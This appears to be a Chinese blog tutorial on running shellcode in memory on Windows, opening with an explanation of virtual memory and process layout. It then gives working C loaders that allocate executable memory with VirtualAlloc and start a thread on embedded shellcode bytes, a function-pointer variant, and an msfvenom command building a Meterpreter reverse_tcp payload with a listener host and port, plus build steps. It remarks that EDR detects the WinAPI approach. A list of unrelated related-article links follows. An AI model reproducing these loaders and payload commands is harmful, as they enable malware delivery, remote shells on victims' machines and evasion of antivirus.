python 执行shellcode_执行shellcode的方法
前言
进程内存布局
需要理解的第一个概念是,整个虚拟内存空间分为两个相关部分:为用户进程保留的虚拟内存空间(用户空间)和为系统进程保留的虚拟内存空间(内核空间),如下所示
当处理器读写内存位置时,它使用一个虚拟地址。作为读写操作的一部分,处理器将虚拟地址转换为物理地址。通过虚拟地址访问内存具有这些优点:
程序可以使用一个连续的虚拟地址范围来访问物理内存中不相邻的大内存缓冲区
程序可以使用一定范围的虚拟地址来访问大于可用物理内存的内存缓冲区。随着物理内存供应的减少,内存管理器将物理内存页(通常为4 kb)保存到磁盘文件中。数据或代码页根据需要在物理内存和磁盘之间移动。
不同进程使用的虚拟地址相互隔离。 一个进程中的代码无法更改另一进程或操作系统正在使用的物理内存。
进程可用的虚拟地址范围称为该进程的虚拟地址空间。 每个用户模式进程都有其自己的专用虚拟地址空间。 对于32位进程,虚拟地址空间通常为2 GB范围0x00000000至0x7FFFFFFF。 对于64位Windows上的64位进程,虚拟地址空间为128 TB范围0x000’00000000到0x7FFF’FFFFFFFF。 虚拟地址范围有时称为虚拟内存范围。
该图显示了两个64位进程的虚拟地址空间:Notepad.exe和MyApp.exe。 每个进程都有自己的虚拟地址空间,该地址空间从0x000’0000000到0x7FF’FFFFFFFF。 每个阴影块代表一页(4 KB)的虚拟或物理内存。 请注意,记事本进程使用三个连续的虚拟地址页面,从0x7F7’93950000开始。 但是虚拟地址的这三个连续页面被映射到物理内存中的非连续页面。 还要注意,两个进程都使用从0x7F7’93950000开始的虚拟内存页面,但是这些虚拟页面被映射到物理内存的不同页面。
用户空间和系统空间
诸如Notepad.exe和MyApp.exe之类的进程在用户模式下运行。 核心操作系统组件和许多驱动程序以特权更高的内核模式运行。 有关处理器模式的更多信息,请参阅用户模式和内核模式。 每个用户模式进程都有其自己的专用虚拟地址空间,但是以内核模式运行的所有代码共享一个称为系统空间的虚拟地址空间。 用户模式进程的虚拟地址空间称为用户空间。在32位Windows中,总的可用虚拟地址空间为2 ^ 32字节(4 GB)。 通常,较低的2 GB用于用户空间,较高的2 GB用于系统空间。
在32位Windows中,您可以选择(在启动时)指定超过2 GB的用户空间可用。 结果是更少的虚拟地址可用于系统空间。 您可以将用户空间的大小增加到3 GB,在这种情况下,系统空间只能使用1 GB。 要增加用户空间的大小
在64位Windows中,虚拟地址空间的理论量为2 ^ 64字节(16艾字节),但实际上仅使用了16艾字节范围的一小部分。 从0x000’00000000到0x7FF’FFFFFFFF的8 TB范围用于用户空间,从0xFFFF0800’00000000到0xFFFFFFFF’FFFFFFFF的248 TB范围的部分用于系统空间。
在用户模式下运行的代码可以访问用户空间,但不能访问系统空间。 此限制可防止用户模式代码读取或更改受保护的操作系统数据结构。 以内核模式运行的代码可以访问用户空间和系统空间。 也就是说,以内核模式运行的代码可以访问系统空间和当前用户模式进程的虚拟地址空间。
在内核模式下运行的驱动程序在直接读取或写入用户空间中的地址时必须非常小心。 这种情况说明了原因。
1. 用户模式程序启动一个从设备读取一些数据的请求。 该程序提供缓冲区的起始地址以接收数据。
2. 在内核模式下运行的设备驱动程序例程开始读取操作,并将控制权返回给其调用者。
3. 稍后,设备中断当前正在运行的任何线程,以表示读取操作已完成。 中断由在此任意线程上运行的内核模式驱动程序例程处理,该线程属于任意进程。
4. 此时,驱动程序不得将数据写入用户模式程序在步骤1中提供的起始地址。该地址位于发起请求的进程的虚拟地址空间中,这很可能与请求的地址不同。 当前的过程。
分页池和非分页池
在用户空间中,可以根据需要将所有物理内存页面调出到磁盘文件中。 在系统空间中,可以将某些物理页面调出页面,而另一些则不能。 系统空间具有两个用于动态分配内存的区域:分页池和非分页池。
可以根据需要将分页池中分配的内存分页到磁盘文件中。 在未分页的池中分配的内存永远不能分页到磁盘文件中。
这样做的第一个收获是,每个进程都有自己的专用虚拟地址空间,其中“内核空间”是一种“共享环境”,这意味着每个内核进程都可以在其想要的任何地方读取/写入虚拟内存。 请注意,后者仅适用于没有基于虚拟化的安全性(VBS)的环境,但这是不同的主题。
上面的表示显示了全局虚拟地址空间的样子,让我们将其分解为单个进程
单个进程虚拟内存空间由多个部分组成,这些部分通过地址空间布局随机化(ASLR)放置在可用空间边界内的某个位置。 这些部分中的大多数应该是熟悉的,但是为了使所有人都在同一页面上,以下是这些部分的简要介绍
.TEXT(入口地址): 这是可执行进程映像所在的位置。在这个区域中,您将找到可执行文件的主入口,即执行流开始的地方
. DATA(映像基址):.DATA节包含全局初始化或静态变量。 未绑定到特定功能的任何变量都存储在此处。
.BSS(映像大小): 与. data段类似,此部分包含任何未初始化的全局变量或静态变量。
HEAP: 这是所有动态局部变量的存储位置。 每次创建在运行时确定所需空间的对象时,所需的地址空间都会在HEAP中动态分配(通常使用alloc()或类似的系统调用)。
STACK: 堆栈是分配给每个静态局部变量的位置。如果在函数中局部初始化一个变量,则该变量将被放置在堆栈上。
动态分配内存
运行shellcode的步骤:
您需要标记为可执行的虚拟地址空间(否则DEP会引发异常)
您需要将您的shellcode放入该地址空间
您需要将代码流定向到该内存区域
完成这三个步骤的教科书方法是使用WinAPI调用来动态分配可读,可写和可执行(RWX)内存,并启动指向新分配的内存区域的线程。 用C编写代码看起来像这样:
#include "stdafx.h"
#include
#include
using namespace std;
int main()
{
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
//申请内存空间
LPVOID addressPointer = VirtualAlloc(NULL,sizeof(shellcode),0x3000,0x40);
//将您的shellcode放入该地址空间
RtlMoveMemory(addressPointer, shellcode, sizeof(shellcode));
//创建线程
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
Sleep(1000);
system("pause");
return 0;
}
使用windebug调试:
windbg:File->Open executtable打开exe
lm #查看加载的模块
g #运行
文章原图
注意:成熟的杀软/EDR系统很容易检测到WinAPI调用的使用
函数指针的执行
(在windows上并不行。。。)
在内存中执行shellcode的另一种技术是使用函数指针
#include "stdafx.h"
#include
using namespace std;
int main()
{
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
int(*func)();
func = (int(*)()) (void*)shellcode; //创建了一个匿名指针函数(lamba)
(int)(*func)(); //运行匿名函数
// Shortcut way to do it
// (*(int(*)()) buf)();
// sleep for a second
Sleep(1000);
return 0;
}
运行过程:
在上述代码段中声明了一个指向函数的指针,该函数指针名为“ func”
然后,为已声明的函数指针分配要执行的代码的地址(由于将为变量分配一个值,因此为func指针分配一个地址)
最后,调用函数指针,这意味着将执行流定向到分配的地址
windbg调试
.TEXT段执行#include
int main() {
asm("call code\n\t"
".byte \n\t"
"code:\n\t"
"ret\n\t");
return 0;
}
msf生成32位的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=4444 -f raw -o test.bin
转换成shellcode
python makefile.py test.bin cnmb.c
编译
gcc -c cnmb.c -o cnmb.o
gcc -o cnmb.exe cnmb.o
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
python 执行shellcode_执行shellcode的方法相关推荐
- python 执行shellcode_简述获取shellcode的几种方式
原标题:简述获取shellcode的几种方式 0×00 shellcode简介 在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得 ...
- python子进程通信_python执行子进程实现进程间通信的方法
本文实例讲述了python执行子进程实现进程间通信的方法.分享给大家供大家参考.具体实现方法如下: a.py: import subprocess, time subproc = subprocess ...
- python读文件路径-python获取程序执行文件路径的方法(推荐)
1.获取当前执行主脚本方法:sys.argv[0]和_ file _ (1)sys.argv 一个传给Python脚本的指令参数列表.sys.argv[0]是脚本的名字.一般得到的是相对路径,用os. ...
- python自带的shell是什么-python中执行shell的两种方法总结
一.使用python内置commands模块执行shell commands对Python的os.popen()进行了封装,使用SHELL命令字符串作为其参数,返回命令的结果数据以及命令执行的状态: ...
- python telnetlib执行命令_使用python Telnet远程登录执行程序的方法
如下所示: # -*-coding:utf-8 -*- def do_telnet(Host, username, password, finish, commands): import telnet ...
- python可以实现的功能_Python 实现某个功能每隔一段时间被执行一次的功能方法...
本人在做项目的时候遇到一个问题: 某个函数需要在每个小时的 3 分钟时候被执行一次,我希望我 15:45 启动程序,过了18 分钟在 16:03 这个函数被执行一次,下一次过 60 分钟在 17:03 ...
- python版本可执行可嵌入_Python程序打包成exe可执行文件的方法探究
王瑞文+王圣辉+边润根+邓明月 摘 要:Python是一种很流行的开源编程语言,可以在各种领域中用来编写独立的程序和脚本.Python免费.可移植.功能强大,而且使用起来相当容易.来自软件产业各个角落 ...
- python调用cmd执行命令_详解python调用cmd命令三种方法
目前我使用到的python中执行cmd的方式有三种 使用os.system("cmd") 该方法在调用完shell脚本后,返回一个16位的二进制数,低位为杀死所调用脚本的信号号码, ...
- python程序执行三种方式,Python运行程序的三种方法
对于python中运行程序的方法,是我们初学时就已经掌握过的了,想必大家会的只是其中的一两种方式. 本篇对程序运行的三种方式进行了整理,分别是:Python的解释器.交互式运行和PyCharm,大家在 ...
最新文章
- oracle 维护之Redo log file
- 机器学习(MACHINE LEARNING)MATLAB蚁群算法解决TSP问题
- Notepad++的使用
- 测试isEmpty null 方法
- C++计算nCr模p表达式如n! / (r! * (n-r)!)的实现算法(附完整源码)
- java拷贝函数_Java的深拷贝与浅拷贝的几种实现方式
- jquery较验组织机构编码
- jasper 常用知识点总结
- 【数据结构笔记15】优先队列、堆、最大堆、堆的操作(插入、删除、建立)与C实现
- 提高短线操作成功率的诀窍!
- sts4linux,STS3下载和安装,STS4升级
- 测试ai模糊软件,“马赛克”视频能被AI软件彻底还原?测试结果出乎意料!
- 计算机数字雨教程视频,股票配资火爆cmd什么意思(cmd命令数字雨)
- 大疆不仅为工程师办比赛,还为他们量身制作了一部动画
- 网站密码明文传输解决方案js+java
- 图书推荐:《Web前端黑客技术揭秘》
- 火遍全球家喻户晓的小游戏——开心消消乐
- 为什么这些照片连最强大的视觉AI也无法准确识别?
- 电子书——人类进步的电梯
- 树莓派使用cloudreve搭建nas和离线下载
热门文章
- 如何在word中插入LaTeX代码公式(不用下载插件)
- sync.waitgroup可以声明多个变量吗?_VBA编程必知:什么是变量?
- iphoneX 屏幕适配 NGUI
- 【无为则无心Python基础】— 59、类和对象的综合应用
- 数据挖掘小白系列!LightGBM详解与调参
- android webview返回显示空白页,Android:WebView的方法goBack()显示一个空白页面
- 2022-2028全球城市轨道交通信号系统市场专题研究及投资评估报告
- 冬奥会在即,比赛打分去除一个最低分,去除一个最高分,求平均分? --- 牛客网SQL54题给我的反思
- 股票的最大利润(JS)
- 深度学习笔记 5 卷积、池化